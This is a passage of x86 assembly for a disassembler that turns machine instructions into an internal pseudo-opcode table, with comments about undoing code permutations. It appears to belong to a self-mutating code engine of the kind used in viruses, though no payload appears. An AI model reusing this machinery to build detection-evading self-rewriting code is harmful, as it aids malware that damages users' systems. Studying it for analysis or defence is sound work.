@@SigueInstr_01:
cmp eax, 84h ; TEST
jz @@Gen_8b_MemReg
cmp eax, 85h ; TEST
jz @@Gen_32b_MemReg
; cmp eax, 86h ; XCHG
; jz @@Gen_8b_MemReg
; cmp eax, 87h ; XCHG
; jz @@Gen_32b_MemReg
cmp eax, 8Bh ; MOV?
jbe @@GenericOpcode
cmp eax, 8Dh ; LEA
jz @@LEA
cmp eax, 8Fh ; POP Mem?
jz @@POPMem
cmp eax, 90h ; NOP?
jz @@NOP
; cmp eax, 97h ; Disabled instructions
; jbe @@XCHGWithEAX
; cmp eax, 0A0h
; jz @@MOVALMem
; cmp eax, 0A1h
; jz @@MOVEAXMem
; cmp eax, 0A2h
; jz @@MOVMemAL
; cmp eax, 0A3h
; jz @@MOVMemEAX
cmp eax, 0A8h ; TEST AL,xx?
jz @@TESTALValue
cmp eax, 0A9h ; TEST EAX,xx?
jz @@TESTEAXValue
cmp eax, 0B0h ; MOV Reg8,xx?
jb @@SigueInstr_02
cmp eax, 0B7h
jbe @@MOVReg8Value
cmp eax, 0BFh ; MOV Reg,xxx?
jbe @@MOVRegValue
@@SigueInstr_02:
cmp eax, 0C0h ; SHIFT,1? (ROL,ROR,etc. with 8 bits)
jz @@BitShifting8
cmp eax, 0C1h ; SHIFT,1 with 32 bits?
jz @@BitShifting32
cmp eax, 0C3h ; RET?
jz @@RET
cmp eax, 0C6h ; MOV Mem8,Imm?
jz @@MOVMem8Value
cmp eax, 0C7h ; MOV Mem,Imm?
jz @@MOVMem32Value
cmp eax, 0CDh
jz @@Interrupt
cmp eax, 0D0h ; SHIFT,x with 8 bits?
jz @@BitShifting8
cmp eax, 0D1h ; SHIFT,x with 32 bits?
jz @@BitShifting32
;; In this gap there are obsolete instructions, copro ones and
;; other that we aren't going to use (for the moment), so decode
;; them it's not worthy.
cmp eax, 0E8h ; CALL?
jz @@CALL
cmp eax, 0E9h ; Long JMP?
jz @@JMP
cmp eax, 0EBh ; Short JMP?
jz @@JMP8
cmp eax, 0F5h ; CMC?
jz @@NOP
cmp eax, 0F6h ; NOT and NEG?
jz @@SomeNotVeryCommon8
cmp eax, 0F7h
jz @@SomeNotVeryCommon32
cmp eax, 0FDh ; One-byters that have not been decoded
jbe @@NOP ; are set as NOP
cmp eax, 0FEh ; INC/DEC Mem8?
jz @@INCDECMem8
cmp eax, 0FFh ; INC/DEC/PUSH Mem?
jz @@INCDECPUSHMem32
mov eax, 0FFh ; Set NOP if any instruction hasn't
@@SetOneByteInstruction: ; fit the conditions above
mov [edi], eax
add edi, 10h ; Increase the storadge EIP and the
inc esi ; disassembly EIP by 1
@@ContinueDisassembly:
jmp @@LoopTrace ; Treat next instruction
;;;; GENERIC OPCODE
; This kind of construction is very common among the opcodes. This is the way
; Intel codes the instructions that uses the Reg,Reg, Mem,Reg and Reg,Mem
; operands. The operations coded under this ones are ADD, OR, ADC, SBB, AND,
; SUB, XOR and CMP.
@@GenericOpcode:
and eax, 7 ; Get the register
cmp eax, 3 ; Check the type of instruction. If it's
jbe @@Gen_NormalOpcode ; Mem,Reg, Reg,Mem or Reg,Reg, jump.
cmp eax, 4 ; Check if it's an OP with AL
jz @@Gen_UsingAL
cmp eax, 5 ; Check if it's an OP with EAX
jz @@Gen_UsingEAX
mov eax, [esi] ; Check if the opcode is 0F, the opcode
and eax, 0FFh ; that is used for some extended operations
cmp eax, 0Fh
jz @@Opcode0F
jmp @@SetOneByteInstruction ; Set the instruction.
@@Gen_NormalOpcode:
or eax, eax ; Check Mem8,Reg8
jz @@Gen_8b_MemReg
cmp eax, 1 ; Check Mem,Reg
jz @@Gen_32b_MemReg
cmp eax, 2 ; Check Reg8,Mem8
jz @@Gen_8b_RegMem
@@Gen_32b_RegMem:
mov eax, [esi+1]
and eax, 0C0h
cmp eax, 0C0h ; Check Reg,Reg
jz @@Gen_32b_ReglReg
mov eax, [esi]
and eax, 0FFh
cmp eax, 8Bh ; Get the opcode
jnz @@Gen_32b_RegMem_0 ; If it isn't MOV, jump
mov eax, 40h+2 ; Set MOV Reg,Mem
jmp @@Gen_GenMem ; Jump to decode the instruction
@@Gen_32b_RegMem_0:
and eax, 38h ; Get the operation in pseudo-asm
add eax, 2 ; Set the "Reg,Mem" mode
@@Gen_GenMem:
mov edx, [edi] ; Get the data around the pseudoopcode
and edx, 0FFFFFF00h ; Set the opcode
and eax, 0FFh
add eax, edx
mov [edi], eax
mov eax, [esi+1] ; Get the data of the x86 opcode
and eax, 38h ; Get the register involved
shr eax, 3
mov [edi+7], eax ; Store it at +7 in the pseudo-instr.
mov edx, esi ; Set in EDX the offset of the memory
add edx, 1 ; construction
call DecodeMemoryConstruction ; Decode it
add esi, ebx ; Add the length of the memory field
add esi, 1 ; to ESI
jmp @@NextInstruction
@@Gen_32b_MemReg:
mov eax, [esi+1] ; Get the second opcode
and eax, 0C0h ; Check if it's Reg,Reg operation
cmp eax, 0C0h
jz @@Gen_32b_lRegReg ; If it is, jump to decode it
mov eax, [esi]
and eax, 0FFh ; Get the opcode
cmp eax, 85h ; Check if it's TEST
jnz @@Gen_32b_MemReg_0
mov eax, 48h+3 ; If it is, store a TEST opcode
jmp @@Gen_GenMem
@@Gen_32b_MemReg_0:
; cmp eax, 87h ; This is XCHG, but we aren't using
; jnz @@Gen_32b_MemReg_1 ; it, so it's disabled.
; mov eax, 48h+6
; jmp @@Gen_GenMem
@@Gen_32b_MemReg_1:
cmp eax, 89h ; Check if it's MOV Mem,Reg
jnz @@Gen_32b_MemReg_2
mov eax, 40h+3 ; Set MOV Mem,Reg if it is
jmp @@Gen_GenMem
@@Gen_32b_MemReg_2:
and eax, 38h ; Get the pseudoopcode
add eax, 3
jmp @@Gen_GenMem ; Jump to set it and decode the rest
@@Gen_32b_ReglReg:
call GenOp_SetRegReg ; Decode the Reg,Reg instruction
@@Gen_GenReglReg:
mov eax, [esi+1] ; Get the source register
and eax, 7
mov [edi+1], eax ; Set it on the disassembly
mov eax, [esi+1] ; Get the destiny register and set it
and eax, 38h
shr eax, 3
mov [edi+7], eax
add esi, 2
jmp @@NextInstruction
@@Gen_32b_lRegReg:
call GenOp_SetRegReg ; Decode the Reg,Reg instruction
@@Gen_GenlRegReg:
mov eax, [esi+1] ; Get the registers and store them in
and eax, 7 ; their appropiated fields
mov [edi+7], eax
mov eax, [esi+1]
and eax, 38h
shr eax, 3
mov [edi+1], eax
add esi, 2
jmp @@NextInstruction
@@Gen_8b_RegMem:
mov eax, [esi+1] ; Get the OP Reg,Mem
and eax, 0C0h
cmp eax, 0C0h ; Check first if it's OP Reg,Reg
jz @@Gen_8b_ReglReg ; If it is, jump
mov eax, [esi]
and eax, 0FFh
cmp eax, 8Ah ; MOV Reg8,Mem8?
jnz @@Gen_8b_RegMem_0
mov eax, 40h+82h ; Set MOV Reg8,Mem8
jmp @@Gen_GenMem ; Jump to decode the memory address
@@Gen_8b_RegMem_0:
and eax, 38h
add eax, 82h ; Get the operation and set it
jmp @@Gen_GenMem
@@Gen_8b_MemReg:
mov eax, [esi+1] ; Get the operation
and eax, 0C0h ; Check if it's OP Mem,Reg
cmp eax, 0C0h
jz @@Gen_8b_lRegReg ; If it is, jump
mov eax, [esi]
and eax, 0FFh ; Get the opcode
cmp eax, 84h ; If it's TEST...
jnz @@Gen_8b_MemReg_0
mov eax, 48h+83h ; ...set it
jmp @@Gen_GenMem
@@Gen_8b_MemReg_0:
; cmp eax, 86h ; This is XCHG 8 bits, but it's disabled
; jnz @@Gen_8b_MemReg_1 ; because we don't use this type of
; mov eax, 48h+86h ; instructions
; jmp @@Gen_GenMem
@@Gen_8b_MemReg_1:
cmp eax, 88h ; Check if it's MOV Mem,Reg
jnz @@Gen_8b_MemReg_2
mov eax, 40h+83h ; Set it if it's MOV Mem,Reg
jmp @@Gen_GenMem
@@Gen_8b_MemReg_2:
and eax, 38h ; Get the OP
add eax, 83h
jmp @@Gen_GenMem ; Set it and jump to decode the memory
; reference
@@Gen_8b_lRegReg:
call GenOp_SetRegReg ; Decode the OP Reg8,Reg8 opcode
mov eax, [edi] ; Set the 8 bits operation
add eax, 80h
mov [edi], eax
jmp @@Gen_GenlRegReg ; Decode the rest of the instruction
@@Gen_8b_ReglReg:
call GenOp_SetRegReg ; Decode the OP Reg8,Reg8
mov eax, [edi] ; Set 8 bits instruction
add eax, 80h
mov [edi], eax
jmp @@Gen_GenReglReg ; Decode the rest of the instruction
@@Gen_UsingAL:
mov eax, [esi] ; Get the operation
and eax, 38h
add eax, 80h
mov edx, [edi] ; Set the opcode
and edx, 0FFFFFF00h
add eax, edx
mov [edi], eax
xor eax, eax
mov eax, [esi+1] ; Get the Imm
and eax, 0FFh ; Extend the sign
cmp eax, 7Fh
jbe @@Gen_UsingAL_01
add eax, 0FFFFFF00h
@@Gen_UsingAL_01:
add esi, 2 ; Increase EIP and set the value
jmp @@Gen_SetValue
@@Gen_UsingEAX:
mov eax, [esi] ; Get the instruction
and eax, 38h
mov edx, [edi] ; Set the opcode
and edx, 0FFFFFF00h
add eax, edx
mov [edi], eax
mov eax, [esi+1] ; Set the value
add esi, 5
@@Gen_SetValue:
mov [edi+7], eax
xor eax, eax ; Set the register (EAX)
mov [edi+1], eax
jmp @@NextInstruction
;;;; INC Reg
@@Op_INC: and eax, 7 ; Get the register of the INC
mov [edi+1], eax ; Set it
xor eax, eax ; Pseudoopcode (ADD)
jmp @@Op_GenINCDEC
;;;; DEC Reg
@@Op_DEC: and eax, 7 ; Get the register of the DEC
mov [edi+1], eax ; Set it
mov eax, 28h ; Pseudoopcode (SUB)
@@Op_GenINCDEC:
mov edx, [edi] ; Set the pseudoopcode
and edx, 0FFFFFF00h
and eax, 0FFh
add eax, edx
mov [edi], eax
mov eax, 1 ; Set the value of addition/subtraction
mov [edi+7], eax
add esi, 1 ; Increase the EIP
jmp @@NextInstruction
;;;; PUSH Reg & POP Reg
@@Op_PUSHPOP: and eax, 7 ; Get the register of the opcode
mov [edi+1], eax ; Set it
mov eax, [esi]
and eax, 58h ; Get the instruction (PUSH or POP)
mov edx, [edi]
and edx, 0FFFFFF00h
add eax, edx
mov [edi], eax ; Set it
add esi, 1
jmp @@NextInstruction
;;;; PUSH Value
@@Op_PUSHValue:
mov [edi], eax ; Set the opcode
mov eax, [esi+1] ; Get the value
mov [edi+7], eax
add esi, 5 ; Add the length of the instr. to the EIP
jmp @@NextInstruction
;;;; PUSH SignedValue
@@Op_PUSHSignedValue:
mov eax, 68h ; Set the opcode 68h
mov [edi], eax
mov eax, [esi+1] ; Get the value to PUSH
and eax, 0FFh ; Extend the sign
cmp eax, 7Fh
jbe @@Op_PUSHSignedValue_01
add eax, 0FFFFFF00h
;movsx eax, byte ptr [esi+1]
@@Op_PUSHSignedValue_01:
mov [edi+7], eax ; Set the value
add esi, 2 ; Increase the EIP
jmp @@NextInstruction
;;;; GENERIC OPCODE (2nd part)
;; This opcodes are the 80h-83h ones, which are used for "OP [Mem],Value" or
;; "OP Reg,Value". Moreover, opcodes 84-85 are also decoded here (the ones that
;; make TEST).
@@GenericOpcode2:
and eax, 1 ; Get if it's a 8 bits or 32 bits operation
or eax, eax
jz @@Gen2_8b ; Jump if it's 8 bits
@@Gen2_32b:
mov eax, [esi+1] ; Get the operation performed
and eax, 38h
mov edx, [edi] ; Set it as pseudoopcode
and edx, 0FFFFFF00h
add eax, edx
mov [edi], eax
mov eax, [esi]
and eax, 2 ; Get if the operation uses a DWORD or
or eax, eax ; a sign-extended byte
jnz @@Gen2_Gen_Signed
@@Gen32Value:
mov eax, [esi+1] ; Get it we use Reg,Reg
and eax, 0C0h
cmp eax, 0C0h
jz @@Gen2_32b_Register
mov eax, [edi] ; Get the opcode
add eax, 4 ; Set OP Mem,Imm
mov [edi], eax
mov edx, esi ; Decode the memory construction
add edx, 1
call DecodeMemoryConstruction
add esi, ebx ; Add the length of the rest of the
mov eax, [esi+1] ; instruction to get the value OPed
sub esi, ebx ; Subtract it because later we'll add
add esi, 3 ; it again.
jmp @@Gen2_Gen_Memory
@@Gen2_32b_Register:
mov eax, [esi+2] ; Get the value
mov [edi+7], eax ; Set it
mov eax, [esi+1] ; Get the operation opcode
add esi, 6 ; Add the length of the instruction
jmp @@Gen2_Gen_Register
@@Gen2_8b:
mov eax, [esi+1] ; Get the 2nd opcode
and eax, 38h ; Extract the operation and set it as
add eax, 80h ; a 8 bits pseudooperation.
mov edx, [edi] ; Set it
and edx, 0FFFFFF00h
add eax, edx
mov [edi], eax
@@Gen2_Gen_Signed:
@@Gen8Value:
mov eax, [esi+1] ; Get the 2nd opcode
and eax, 0C0h
cmp eax, 0C0h ; If we use a register, jump
jz @@Gen2_8b_Register
mov eax, [edi] ; Set "Mem" usage
add eax, 4
mov [edi], eax
mov edx, esi ; Decode the memory address
add edx, 1
call DecodeMemoryConstruction
xor eax, eax ; Get the Imm of the operation in EAX
add esi, ebx
mov eax, [esi+1]
sub esi, ebx
and eax, 0FFh
cmp eax, 7Fh
jbe @@Gen8Value_01
add eax, 0FFFFFF00h
@@Gen8Value_01:
@@Gen2_Gen_Memory:
mov [edi+7], eax ; Set it in the pseudoinstruction
add esi, ebx
add esi, 2 ; Increase EIP and decode the next
jmp @@NextInstruction ; instruction.
@@Gen2_8b_Register:
mov eax, [esi+2] ; Get the Imm and extend the sign
and eax, 0FFh
cmp eax, 7Fh
jbe @@Gen2_8b_Register_01
add eax, 0FFFFFF00h
@@Gen2_8b_Register_01:
mov [edi+7], eax ; Set it in the pseudo-instruction
mov eax, [esi+1] ; Get the 2nd opcode
add esi, 3 ; Add the length of the instruction
@@Gen2_Gen_Register: ; to EIP
and eax, 7 ; Get the register of the instruction
mov edx, [edi+1]
and edx, 0FFFFFF00h
add eax, edx
mov [edi+1], eax ; Set the register
jmp @@NextInstruction ; Decode the next instruction
;;;; LEA decoding
@@LEA: mov eax, 0FCh ; Set the pseudoopcode of LEA
mov [edi], eax
mov edx, esi
add edx, 1 ; Decode the memory address
call DecodeMemoryConstruction
mov eax, [esi+1]
and eax, 38h ; Get the destiny register and set it
shr eax, 3
mov [edi+7], eax
add esi, ebx
add esi, 1 ; Add the length of the instruction to
jmp @@NextInstruction ; the EIP.
;;;; POP Mem decoding
@@POPMem: mov eax, [esi+1] ; Get the operand
and eax, 0C0h ; Get if we use reg or memory address
cmp eax, 0C0h
jz @@POPMem_butReg
mov eax, 59h ; If we use a memory address, set the
mov [edi], eax ; opcode and decode the memory address
mov edx, esi
add edx, 1
call DecodeMemoryConstruction
add esi, ebx
add esi, 1
jmp @@NextInstruction
@@POPMem_butReg: ; If it uses a register, set it
mov eax, [esi+1]
and eax, 7
mov [edi+1], eax
mov eax, 58h ; Set the opcode
mov edx, [edi]
and edx, 0FFFFFF00h
add eax, edx
mov [edi], eax
add esi, 2
jmp @@NextInstruction
;;;; XCHG With EAX:
;; Disabled since we aren't coding XCHG
; @@XCHGWithEAX:
; mov al, [esi]
; add esi, 1
; cmp eax, 90h
; jz @@NOP
; and eax, 7
; mov [edi+1], al
; mov eax, 48h+5
; mov [edi], al
; xor eax, eax
; mov [edi+7], eax
; jmp @@NextInstruction
;; NOP instruction
@@NOP: mov eax, 0FFh ; Set the NOP pseudoopcode
mov [edi], eax
add esi, 1
jmp @@NextInstruction
;;;; MOV AL/EAX,Mem
; This one is also disabled, because we doesn't have direct memory operations
; to disassemble.
; @@MOVALMem:
; mov eax, 0C2h
; @@MOVxAxMem:
; mov [edi], eax
; mov eax, 8
; mov [edi+1], eax
; mov [edi+2], eax
; xor eax, eax
; mov [edi+7], eax
; mov eax, [esi+1]
; mov [edi+3], eax
; add esi, 5
; jmp @@NextInstruction
; @@MOVEAXMem:
; mov eax, 42h
; jmp @@MOVxAxMem
;;;; MOV Mem,AL/EAX
; @@MOVMemAL:
; mov eax, 0C3h
; jmp @@MOVxAxMem
; @@MOVMemEAX:
; mov eax, 43h
; jmp @@MOVxAxMem
;;;; TEST AL,Value decodification
@@TESTALValue:
mov eax, [esi+1] ; Get the value
and eax, 0FFh
mov ecx, eax ; Put it in ECX
mov eax, 0C8h ; Put the pseudoopcode in EAX
add esi, 2
@@TESTxAxValue:
mov [edi], eax ; Set the pseudoopcode
xor eax, eax ; Set the register
mov [edi+1], eax
mov [edi+7], ecx ; Set the value
jmp @@NextInstruction
;;;; TEST EAX,Value
@@TESTEAXValue:
mov ecx, [esi+1] ; Get the Imm in ECX
mov eax, 48h ; 48h = TEST pseudoopcode
add esi, 5 ; Increase the EIP
jmp @@TESTxAxValue
;;;; MOV Reg,Value decodification
@@MOVRegValue:
mov eax, 40h ; 40h = MOV pseudoopcode
mov [edi], eax
mov ecx, [esi+1] ; Get the value in ECX
mov eax, [esi]
add esi, 5
@@MOVRegValue_Common:
and eax, 7 ; Get the register in EAX
mov [edi+1], eax ; Set the register
mov [edi+7], ecx ; Set the value
jmp @@NextInstruction
@@MOVReg8Value:
mov eax, 0C0h
mov [edi], eax ; C0 = MOV 8 bits
mov eax, [esi+1] ; Get the Imm to move
and eax, 0FFh
mov ecx, eax
mov eax, [esi] ; Get the opcode to extract the register
add esi, 2
jmp @@MOVRegValue_Common
;;;; ROL/ROR/etc. decodification
@@BitShifting32:
mov eax, 0F0h ; Pseudoopcode SHIFT
@@BitShifting_Common:
mov [edi], eax ; Set the pseudoopcode
mov eax, [esi+1] ; Get the 2nd opcode
and eax, 38h ; Extract the operation
mov edx, [edi+8] ; Set it at +8 in the instruction
and edx, 0FFFFFF00h
add eax, edx
mov [edi+8], eax
mov eax, [esi+1] ; Get the operand type
and eax, 0C0h
cmp eax, 0C0h
jz @@BS32_Reg ; If it's a Reg, jump
mov eax, [edi]
add eax, 1
mov [edi], eax ; Set SHIFT Mem,x
mov edx, esi
add edx, 1 ; Decode the memory operand
call DecodeMemoryConstruction
@@BS32_Common:
mov eax, [esi] ; Get the opcode
and eax, 0FFh
cmp eax, 0D0h ; Check if it's SHIFT,1 or SHIFT,x
jb @@BS32_GetNumber ; If it's ,x jump
mov eax, 1 ; Set 1 as shifting value
sub esi, 1
jmp @@BS32_SetNumber
@@BS32_GetNumber:
add esi, ebx ; Get the value of shifting
mov eax, [esi+1]
sub esi, ebx
@@BS32_SetNumber:
and eax, 1Fh ; Trim the bits ignored implicitly
mov edx, [edi+7] ; Set the shifting value (byte) at +7
and edx, 0FFFFFF00h ; in the disassembly of the instr.
add eax, edx
mov [edi+7], eax
add esi, ebx
add esi, 2
jmp @@NextInstruction
@@BS32_Reg:
mov eax, [esi+1] ; Get the register
and eax, 7
mov [edi+1], eax ; Set it
mov ebx, 1 ; Jump to finish the decoding
jmp @@BS32_Common
@@BitShifting8:
mov eax, 0F2h ; Set SHIFT8
jmp @@BitShifting_Common
;;;; MOV [Mem8],Value (or MOV Reg8,Value) decoding (opcode C6)
@@MOVMem8Value:
mov eax, 0C4h ; Set the opcode as MOV Mem8,xxx
mov [edi], eax
mov eax, [esi+1] ; Get the 2nd opcode
and eax, 0C0h ; Register or memory address?
cmp eax, 0C0h
jz @@MOVMem8_RegValue ; If register, jump
mov edx, esi
add edx, 1 ; Decode the memory address
call DecodeMemoryConstruction
add esi, ebx ; Add the length of the operand
add esi, 1
@@MOVMem8Value_Common:
mov eax, [esi] ; Get the value we are moving
and eax, 0FFh ; Extend the sign
cmp eax, 7Fh
jbe @@MOVMem8Value_01
add eax, 0FFFFFF00h
@@MOVMem8Value_01:
mov [edi+7], eax ; Set it in the pseudoinstruction
add esi, 1
jmp @@NextInstruction
@@MOVMem8_RegValue:
mov eax, 0C0h ; C0 = MOV Reg8,Imm
mov [edi], eax ; Set the pseudoopcode
mov eax, [esi+1]
and eax, 7
mov [edi+1], eax ; Set the register
add esi, 2
jmp @@MOVMem8Value_Common ; Jump to finish the decoding
;;;; MOV [Mem32],Value (or MOV Reg32,Value) decoding (opcode C7)
@@MOVMem32Value:
mov eax, 44h ; 44h = MOV Mem,Imm (in our assembler)
mov [edi], eax ; Set the pseudoopcode
mov eax, [esi+1] ; Get the 2nd opcode
and eax, 0C0h
cmp eax, 0C0h ; Memory address or register?
jz @@MOVMem32_RegValue ; Jump if it's register
mov edx, esi
add edx, 1 ; Decode the memory address
call DecodeMemoryConstruction
add esi, ebx ; Add the operand length
add esi, 1
mov eax, [esi] ; Get the Imm to move
mov [edi+7], eax ; Set it in the disassembly
add esi, 4 ; Increase the EIP
jmp @@NextInstruction
@@MOVMem32_RegValue:
mov eax, 40h ; 40h = MOV Reg32,Imm32
mov [edi], eax ; Set the pseudoopcode
mov eax, [esi+1]
and eax, 7
mov [edi+1], eax ; Get the register and set it
mov eax, [esi+2] ; Get the immediate value and set it
mov [edi+7], eax
add esi, 6 ; Add the instruction length to the EIP
jmp @@NextInstruction
;;;; Some not very common instructions
;; Opcodes F6 and F7 are used for TEST, NOT, NEG, MUL, IMUL, DIV and IDIV.
;; Since MUL and up aren't used by us, we only decode TEST, NOT and NEG.
@@SomeNotVeryCommon8:
mov eax, [esi+1] ; Get the operation
and eax, 38h
or eax, eax ; 0 is TEST
jz @@TEST8Value
shr eax, 1 ; If it's not TEST, it is NOT or NEG
add eax, 0DAh ; EAX = E2/E6
@@SNVC_Gen: mov [edi], eax ; Set the opcode
mov eax, [esi+1] ; Check if we use register or memory
and eax, 0C0h
cmp eax, 0C0h
jz @@NOTNEGReg8 ; If register, jump
mov eax, [edi] ; Set memory usage
add eax, 1
mov [edi], eax
mov edx, esi ; Decode the memory address operand
add edx, 1
call DecodeMemoryConstruction
add esi, ebx ; Add the length of the operand
add esi, 1
jmp @@NextInstruction
@@NOTNEGReg8:
mov eax, [esi+1] ; Get the register involved
and eax, 7
mov edx, [edi+1]
and edx, 0FFFFFF00h
add eax, edx
mov [edi+1], eax ; Set it
add esi, 2 ; Increase the EIP
jmp @@NextInstruction
@@SomeNotVeryCommon32:
mov eax, [esi+1] ; Get the operation
and eax, 38h
or eax, eax ; If it's TEST, jump to disasm it
jz @@TEST32Value
shr eax, 1
add eax, 0D8h ; E0/E4
jmp @@SNVC_Gen ; Jump to decode the rest of the instr.
@@TEST8Value:
mov eax, 0C8h ; Set TEST 8 bits opcode
mov [edi], eax
jmp @@Gen8Value ; Jump to decode the rest
@@TEST32Value:
mov eax, 48h ; Set TEST 32 bits opcope
mov [edi], eax
jmp @@Gen32Value ; Jump to decode the rest
;;;; INC Mem, DEC Mem, CALL Mem, JMP Mem & PUSH Mem disassembly
@@INCDECMem8:
mov eax, [esi+1] ; Get the operation
and eax, 38h
or eax, eax ; INC?
jz @@INCMem8 ; Then, jump
@@DECMem8: mov eax, 0ACh ; ACh = Opcode of SUB Mem8,Imm8
@@INCDECMem8_Next:
mov [edi], eax ; Set the opcode
mov eax, [esi+1] ; Get the type of operand
and eax, 0C0h
cmp eax, 0C0h ; If we use a register operand, jump
jz @@INCDECReg8
@@INCDECPUSH_Gen:
mov edx, esi ; Here if we use INC/DEC/PUSH Mem
add edx, 1 ; Decode the memory operand
call DecodeMemoryConstruction
add esi, ebx
add esi, 1
mov eax, 1 ; We insert a 1 as a Imm even if it's
mov [edi+7], eax ; PUSH, JMP or CALL, since we will
; ignore this field for them
mov eax, [edi]
and eax, 0FFh
cmp eax, 0EBh ; Did we decode JMP DWORD PTR [xxx]?
jnz @@NextInstruction ; Then, get a new EIP (treat it as
; a RET)
add edi, 10h ; Increase the storadge EIP and get a
jmp @@GetEIPFromFutureLabelList ; new disassembly EIP (ESI)
@@INCDECReg8:
mov eax, [edi] ; Get the opcode
sub eax, 4 ; Convert it to OP Reg
mov [edi], eax
mov eax, [esi+1] ; Get the register
and eax, 7
mov [edi+1], eax ; Set it in the instruction
mov eax, 1 ; Set "1" value for addition and
mov [edi+7], eax ; subtraction
add esi, 2
jmp @@NextInstruction
@@INCMem8: mov eax, 84h ; Set ADD Mem8,Imm8
jmp @@INCDECMem8_Next
;; Opcode FF: INC Mem, DEC Mem, CALL Mem, JMP Mem and PUSH Mem (32 bits)
@@INCDECPUSHMem32:
mov eax, [esi+1] ; Get the operand type
and eax, 38h
or eax, eax ; INC?
jz @@INCMem32
cmp eax, 08h ; DEC?
jz @@DECMem32
cmp eax, 10h ; CALL?
jz @@CALLMem32
cmp eax, 20h ; JMP?
jz @@JMPMem32
@@PUSHMem32:
mov eax, [esi+1] ; Decode PUSH. Look if it uses a reg.
and eax, 0C0h ; or a memory address
cmp eax, 0C0h
jz @@PUSHMem32_Reg
mov eax, 51h ; EAX = 51h, pseudoopcode of PUSH Mem
mov [edi], eax
jmp @@INCDECPUSH_Gen
@@PUSHMem32_Reg:
mov eax, 50h ; 50h = Opcode of PUSH Reg
@@INCDECPUSH_GenMem32_Reg:
mov [edi], eax ; Set the opcode
mov eax, [esi+1] ; Get the operand register
and eax, 7
mov [edi+1], eax
mov eax, 1 ; Set "1" as immediate value (for INCs
mov [edi+7], eax ; and DECs, and ignored for the others)
add esi, 2
mov eax, [edi] ; Get the opcopde
and eax, 0FFh
cmp eax, 0EDh ; Did we decode JMP Reg?
jnz @@NextInstruction
add edi, 10h ; If so, treat it as a RET
jmp @@GetEIPFromFutureLabelList
;; Here if we decoded INC
@@INCMem32:
mov eax, [esi+1] ; Get the opcode
and eax, 0C0h ; Check if it uses a register or a
cmp eax, 0C0h ; memory address as operand
jz @@INCReg32
mov eax, 4 ; If Mem, set ADD Mem,Imm
jmp @@INCDECMem8_Next
@@INCReg32:
xor eax, eax ; If Reg, set ADD Reg,Imm
jmp @@INCDECPUSH_GenMem32_Reg
;; Here if we decoded DEC
@@DECMem32:
mov eax, [esi+1] ; Get if it uses a memory address or
and eax, 0C0h ; a register
cmp eax, 0C0h
jz @@DECReg32
mov eax, 2Ch ; Set SUB Mem,Imm
jmp @@INCDECMem8_Next
@@DECReg32:
mov eax, 28h ; Set SUB Reg,Imm
jmp @@INCDECPUSH_GenMem32_Reg
;; Here if we decoded CALL Mem (or CALL Reg)
@@CALLMem32:
mov eax, [esi+1]
and eax, 0C0h ; Get the type of operand
cmp eax, 0C0h
jz @@CALLMem32_Reg
mov eax, 0EAh ; Set CALL Mem
mov [edi], eax
jmp @@INCDECPUSH_Gen
@@CALLMem32_Reg:
mov eax, 0ECh ; Normally APIs
jmp @@INCDECPUSH_GenMem32_Reg
@@JMPMem32:
mov eax, [esi+1]
and eax, 0C0h
cmp eax, 0C0h
jz @@JMPMem32_Reg
mov eax, 0EBh ; Normally to simulate RET, so treat it
mov [edi], eax ; as a RET (after decoding)
jmp @@INCDECPUSH_Gen
@@JMPMem32_Reg:
mov eax, 0EDh ; Treat it also as a RET (coz it's a jump
jmp @@INCDECPUSH_GenMem32_Reg ; with undefined destiny)
@@NextInstruction:
add edi, 10h ; Increase storadge EIP
jmp @@ContinueDisassembly
;;;; Interrupt. Only used for Linux' INT 80h
@@Interrupt:
mov eax, [esi+1]
and eax, 0FFh
cmp eax, 80h
jnz @@IgnoreInterrupt
mov eax, 0FDh
mov [edi], eax
add esi, 2
jmp @@NextInstruction
@@IgnoreInterrupt:
add esi, 2
jmp @@ContinueDisassembly
;;;; RET disassembly
@@RET: mov eax, 0FEh ; Insert the opcode
mov [edi], eax
inc esi
add edi, 10h ; Increase the storing EIP and get a new
jmp @@GetEIPFromFutureLabelList ; EIP for ESI. If there
; aren't more, finish.
;;;; JMP SHORT
@@JMP8: mov eax, [esi+1] ; Get the displacement
and eax, 0FFh
cmp eax, 7Fh
jbe @@JMP8_01
add eax, 0FFFFFF00h
@@JMP8_01:
add eax, 2 ; Add the length of the instruction to
add eax, esi ; the read EIP
jmp @@JMP_Next01
;;;; JMP LONG
@@JMP: mov eax, [esi+1] ; Get the displacement
add eax, 5
add eax, esi
;; The jump is stored as 0E9h,dd IndexOnLabelTable. By this way, if we change
;; the offset of the label, we only have to update the address at the table,
;; and all the references are automatically updated.
@@JMP_Next01:
mov ebx, [ebp+InstructionTable]
cmp ebx, edi
jz @@NoInstructions
@@FindDestinyInTable:
cmp [ebx+0Ch], eax ; Check with the pointer to the real
jz @@SetLabel ; instruction, and set label if we
; found it.
add ebx, 10h
cmp ebx, edi
jnz @@FindDestinyInTable
@@NoInstructions:
mov ecx, 0FFh ; Set a NOP if we didn't disassembled
mov [edi], ecx ; yet the instruction. So, change the
add edi, 10h ; read EIP (at ESI) directly without
mov esi, eax ; inserting the jump. In this way,
jmp @@LoopTrace ; the disassembling is automatically
; eliminating the permutations.
@@SetLabel:
mov ecx, 0E9h ; Set JMP pseudoopcode
mov [edi], ecx
mov edx, esi ; Set the new pointer
mov [edi+0Ch], edx
add edi, 10h
push eax
mov eax, [esi] ; Get the instruction
and eax, 0FFh
mov ecx, eax
pop eax
cmp ecx, 0EBh ; Check if it's a short JMP
jz @@Add2ToEIP ; If it is, increase the EIP only by 2
add esi, 3
@@Add2ToEIP:
add esi, 2
call InsertLabel ; Insert the label
mov [edi+1-10h], edx ; Set the label in the instruction
;; When we arrive here we scan for a label that isn't disassembled yet, We
;; check if we disassembled the pointing code while we didn't arrive here.
;; If the code is already disassembled, we set the label and we check other
;; pointers until we found one that it isn't scanned. If all them are alredy
;; disassembled, we finish because all the reachable code is disassembled.
@@GetEIPFromFutureLabelList:
mov ecx, [ebp+NumberOfLabelsPost]
or ecx, ecx ; If there aren't labels, exit
jz @@FinDeTraduccion
mov ebx, [ebp+FutureLabelTable]
@@LoopCheckForNewEIP:
mov eax, [ebx] ; Get a label
or eax, eax ; Is it empty?
jnz @@GetNewEIP ; If not, we found one
add ebx, 8 ; Check next
sub ecx, 1
or ecx, ecx ; Have we scanned all them?
jnz @@LoopCheckForNewEIP
jmp @@FinDeTraduccion ; If so, exit from disassembler
@@GetNewEIP:
mov esi, [ebx]
jmp @@LoopTrace
;;; Instructions beginning with 0F
@@Opcode0F:
